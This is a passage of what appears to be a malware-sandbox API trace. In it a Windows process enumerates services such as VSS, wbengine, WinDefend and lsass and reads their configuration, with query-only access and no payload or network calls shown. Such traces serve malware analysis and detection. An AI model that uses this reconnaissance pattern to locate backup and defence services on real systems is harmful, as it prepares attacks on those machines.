CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.186] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.186] GetLastError () returned 0x7a [0028.186] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0xee, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x598bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x598bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds", lpUsedDefaultChar=0x0) returned 3 [0028.186] OpenServiceW (hSCManager=0x6637d8, lpServiceName="vds", dwDesiredAccess=0x1) returned 0x6638a0 [0028.187] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.187] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.187] GetLastError () returned 0x7a [0028.187] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0xf0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x598c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x598c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vss", lpUsedDefaultChar=0x0) returned 3 [0028.187] OpenServiceW (hSCManager=0x6637d8, lpServiceName="VSS", dwDesiredAccess=0x1) returned 0x663968 [0028.187] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.188] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.188] GetLastError () returned 0x7a [0028.188] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0xee, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x598c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssvc.exe", lpUsedDefaultChar=0x0) returned 9 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x598c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="w32time", lpUsedDefaultChar=0x0) returned 7 [0028.188] OpenServiceW (hSCManager=0x6637d8, lpServiceName="W32Time", dwDesiredAccess=0x1) returned 0x6638c8 [0028.188] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.188] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.189] GetLastError () returned 0x7a [0028.189] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x118, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x598cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine", lpUsedDefaultChar=0x0) returned 8 [0028.189] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wbengine", dwDesiredAccess=0x1) returned 0x6639b8 [0028.189] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.189] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.190] GetLastError () returned 0x7a [0028.190] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x10c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x598d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine.exe", lpUsedDefaultChar=0x0) returned 12 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x598d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbiosrvc", lpUsedDefaultChar=0x0) returned 8 [0028.190] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WbioSrvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.190] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.190] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.190] GetLastError () returned 0x7a [0028.190] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x15e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x598d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcncsvc", lpUsedDefaultChar=0x0) returned 7 [0028.191] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wcncsvc", dwDesiredAccess=0x1) returned 0x663968 [0028.191] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.191] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.191] GetLastError () returned 0x7a [0028.191] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x17a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x598da8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcspluginservice", lpUsedDefaultChar=0x0) returned 16 [0028.192] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WcsPlugInService", dwDesiredAccess=0x1) returned 0x6638c8 [0028.192] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.192] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.192] GetLastError () returned 0x7a [0028.192] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x126, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x598df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdiservicehost", lpUsedDefaultChar=0x0) returned 14 [0028.193] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WdiServiceHost", dwDesiredAccess=0x1) returned 0x6639b8 [0028.193] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.193] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.193] GetLastError () returned 0x7a [0028.193] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x598e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdisystemhost", lpUsedDefaultChar=0x0) returned 13 [0028.193] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WdiSystemHost", dwDesiredAccess=0x1) returned 0x6638a0 [0028.194] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.194] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.194] GetLastError () returned 0x7a [0028.194] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x130, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x5a0ec0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webclient", lpUsedDefaultChar=0x0) returned 9 [0028.194] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WebClient", dwDesiredAccess=0x1) returned 0x663968 [0028.195] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.195] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.195] GetLastError () returned 0x7a [0028.195] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x13c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a0ec0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x5a0f08, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wecsvc", lpUsedDefaultChar=0x0) returned 6 [0028.195] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Wecsvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.195] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.196] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.196] GetLastError () returned 0x7a [0028.196] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x150, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a0f50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x5a0f50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wercplsupport", lpUsedDefaultChar=0x0) returned 13 [0028.196] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wercplsupport", dwDesiredAccess=0x1) returned 0x6639b8 [0028.196] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.197] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.197] GetLastError () returned 0x7a [0028.197] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a0f98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x5a0f98, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wersvc", lpUsedDefaultChar=0x0) returned 6 [0028.197] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WerSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.197] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.197] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.198] GetLastError () returned 0x7a [0028.198] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x120, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a0fe0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x5a0fe0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windefend", lpUsedDefaultChar=0x0) returned 9 [0028.198] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WinDefend", dwDesiredAccess=0x1) returned 0x663968 [0028.198] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.198] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.198] GetLastError () returned 0x7a [0028.199] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x104, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1028, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x5a1028, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winhttpautoproxysvc", lpUsedDefaultChar=0x0) returned 19 [0028.199] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WinHttpAutoProxySvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.199] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.199] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.199] GetLastError () returned 0x7a [0028.199] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x158, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1070, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.200] WideCharToMultiByte (in: 